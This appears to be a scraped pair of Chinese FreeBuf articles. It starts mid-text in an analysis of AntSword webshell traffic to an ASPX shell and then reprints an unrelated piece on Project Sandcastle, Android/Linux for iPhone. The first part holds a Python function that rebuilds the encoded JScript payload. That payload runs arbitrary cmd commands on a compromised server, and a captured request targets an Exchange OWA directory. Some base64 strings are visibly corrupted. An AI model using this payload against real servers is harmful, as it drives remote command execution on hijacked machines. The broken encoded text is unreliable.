mFjMDUxMzQ4N2MiXSkpO3ZhciBlbnZhcnIgPSBlbnZzdHIuc3BsaXQoInx8fGFzbGluZXx8fCIpO3ZhciBpO2ZvciAodmFyIGkgaW4gZW52YXJyKSB7dmFyIHNzID0gZW52YXJyW2ldLnNwbGl0KCJ8fHxhc2tleXx8fCIpO2lmIChzcy5sZW5ndGggIT0gMikge2NvbnRpbnVlO31jLkVudmlyb25tZW50VmFyaWFibGVzLkFkZChzc1swXSxzc1sxXSk7fX1lLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVyc**yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkgKyBFSS5SZWFkVG9FbmQoKSk7%22))%2C%22unsafe%22)%3B%7Dcatch(err)%7BResponse.Write(%22ERROR%3A%2F%2F%20%22%2Berr.message)%3B%7DResponse.Write(%22ce497c0b5%22)%3BResponse.End()%3B&l9bab01a3f8f61=Y2QgL2QgIkM6XFxQc**nEV4Y2hhbmdlIFNlcnZlclxcVjE1XFxGc**udEVuZFxcSHR0cFByb3h5XFxvd2FcXGF1dGgiJmRpciZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D&r9a342ac8cf71c=Y21k&x58fac0513487c=

数据末尾部分参数及其数值出现了‘=’,再仔细分析发现,只有base64编码部分需要url编码,其余参数部分不需要进行url编码。所以可以修改步骤如下:

1、把shell路径和需要执行的命令进行base64编码、url编码生成payload1

2、补齐数据末尾其它参数及数值生成payload2

3、功能模块base64编码、url编码并与payload2组合生成payload3

4、利用payload3访问shell

python还原实现

其核心部分为:

def create_payload(cmd):
    payload_1 = 'var%20err%3AException%3Btry%7Beval(System.Text.Encoding.GetEncoding(%22UTF-8%22).GetString(System.Convert.FromBase64String(%22dmFyIGM9bmV3IFN5c3RlbS5EaWFnb**zdGljcy5Qc**jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsieDhjY2EwOTc3NWFmNTQiXSkpKTt2YXIgZT1uZXcgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MoKTt2YXIgb3V0OlN5c3RlbS5JTy5TdHJlYW1SZWFkZXIsRUk6U3lzdGVtLklPLlN0cmVhbVJlYWRlcjtjLlVzZVNoZWxsRXhlY3V0ZT1mYWxzZTtjLlJlZGlyZWN0U3RhbmRhcmRPdXRwdXQ9dHJ1ZTtjLlJlZGlyZWN0U3RhbmRhcmRFcnJvcj10cnVlO2UuU3RhcnRJbmZvPWM7Yy5Bcmd1bWVudHM9Ii9jICIrU3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoIlVURi04IikuR2V0U3RyaW5nKFN5c3RlbS5Db252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5JdGVtWyJxMDg3MjU2YjZlNTA4NCJdKSk7aWYoUmVxdWVzdC5JdGVtWyJ6ODJmMzdjY2JjMjc0NiJdKSB7dmFyIGVudnN0ciA9IFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKCJVVEYtOCIpLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gc**tQmFzZTY0U3RyaW5nKFJlcXVlc3QuSXRlbVsiejgyZjM3Y2NiYzI3NDYiXSkpO3ZhciBlbnZhcnIgPSBlbnZzdHIuc3BsaXQoInx8fGFzbGluZXx8fCIpO3ZhciBpO2ZvciAodmFyIGkgaW4gZW52YXJyKSB7dmFyIHNzID0gZW52YXJyW2ldLnNwbGl0KCJ8fHxhc2tleXx8fCIpO2lmIChzcy5sZW5ndGggIT0gMikge2NvbnRpbnVlO31jLkVudmlyb25tZW50VmFyaWFibGVzLkFkZChzc1swXSxzc1sxXSk7fX1lLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVyc**yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkgKyBFSS5SZWFkVG9FbmQoKSk7%22))%2C%22unsafe%22)%3B%7Dcatch(err)%7BResponse.Write(%22ERROR%3A%2F%2F%20%22%2Berr.message)%3B%7DResponse.End()%3B'
    payload_2 = '&q087256b6e5084='
    payload_3 = 'cd /d "这里需要防止shell路径"&'+ cmd + '&echo [Shell Path]&cd&'
    payload_4 = '&x8cca09775af54=Y21k&z82f37ccbc2746='
    payload_3 = urllib.parse.quote(base64.b64encode(payload_3.encode('utf-8')))
    payload = payload_1 + payload_2 + payload_3 + payload_4
    return payload

因为功能模块没有变化,所以就直接使用原始数据,没有对其进行解码和编码等操作。

也可以直接把生成的payload用浏览器url直接访问,可以不用工具连接post数据。

总结

主要对antsword与aspx连接通信的数据进行了截取分析还原,并利用python脚本进行了还原。研究的初始目的就是想直接用request方式访问,现在的工具对于aspx shell很多都是post数据,但是post数据有时会出现一些问题,所以就研究了一下request方法,如有不对的地方欢迎大家交流。

*本文原创作者:Kriston,本文属于FreeBuf原创奖励计划,未经许可禁止转载

本文来源于互联网:Antsword流量分析与还原

Projectsandcastle:一款针对iPhone的AndroidLinux支持工具

Projectsandcastle:一款针对iPhone的AndroidLinux支持工具

Projectsandcastle

Projectsandcastle是一款针对iPhone的Android/Linux支持工具,该工具可以给广大研究人员提供以下实用工具:

1、loader/ 通过pongoOS加载内核和设备树

2、syscfg/ 可从目标设备的syscfg分区中提取配置信息

3、hx-touchd/ 触摸屏幕支持守护进程

4、hcdpack/ 可从源码文件中提取蓝牙固件信息

内核

内核可以从下列GitHub库中获取到稳定版本(linux-stable):

https://github.com/corellium/linux-sandcastle

Buildroot

Projectsandcastle的Linux Ramdisk使用了buildroot来进行构建,我们提供的定制版本buildroot可以从下列地址获取:

https://github.com/corellium/sandcastle-buildroot

Buildroot是一款简单、高效且易于使用的工具,它可以帮助我们通过交叉编译来生成一个嵌入式的Linux系统。

相关操作文档可以在上述地址中的docs/manual文件中找到,你可以使用命令“make manual-text”来生成一个文本文档,或读取output/docs/manual/manual.text文件。

我们可以按照下列方式来构建和使用buildroot工具:

1、运行命令“make menuconfig”;

2、选择目标架构,以及需要编译的代码包;

3、运行“make”命令;

4、等待编译完成;

5、在output/images目录中找到内核、bootloader、root文件系统等内容;

在线文档:【点我查看

Android应用程序

安装APK文件

广大研究人员可以使用下列命令安装APK文件:

adb install foo.apk

但是,这种方式会存在以下限制因素:

1、如果是纯Java APK文件,并且不需要该项目所不支持的硬件的话,则可以正常运行;

2、仅包含了ARMv7代码(32位)的APK文件将无法运行;

3、包含了ARMv8代码(64位)的APK文件将需要对代码进行重构后方可运行;

重构代码库

我们需要将代码库文件按照16KB页面大小来构建,首先,当代码库链接成功时,尝试运行下列选项/命令:

-z common-page-size=0x4000 -z max-page-size=0x4000

如果连接器使用了C编译器来封装,那你可能还需要使用下列参数:

-Wl,-z,common-page-size=0x4000 -Wl,-z,max-page-size=0x4000

如果一切正常的话,可以使用“readelf -l”:

如果没有RELRO段,请检查具有不同属性的LOAD段是否占用了同一个16KB页;

如果有RELRO段,请确保它在16kB页边界上开始或结束;有时编译器会将RELRO放在RW段的开始处(然后RELRO应该在16k边界处结束),有时会将其放在末尾(然后RELRO应该在16k边界处开始)。

如果还存在问题的话,请检查代码库的源代码,并检查PAGE_SIZE、kPageSize、PAGE_SHIFT、PAGE_BITS等位置。

项目地址

Projectsandcastle:【GitHub传送门

* 参考来源:corellium,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文来源于互联网:Projectsandcastle:一款针对iPhone的AndroidLinux支持工具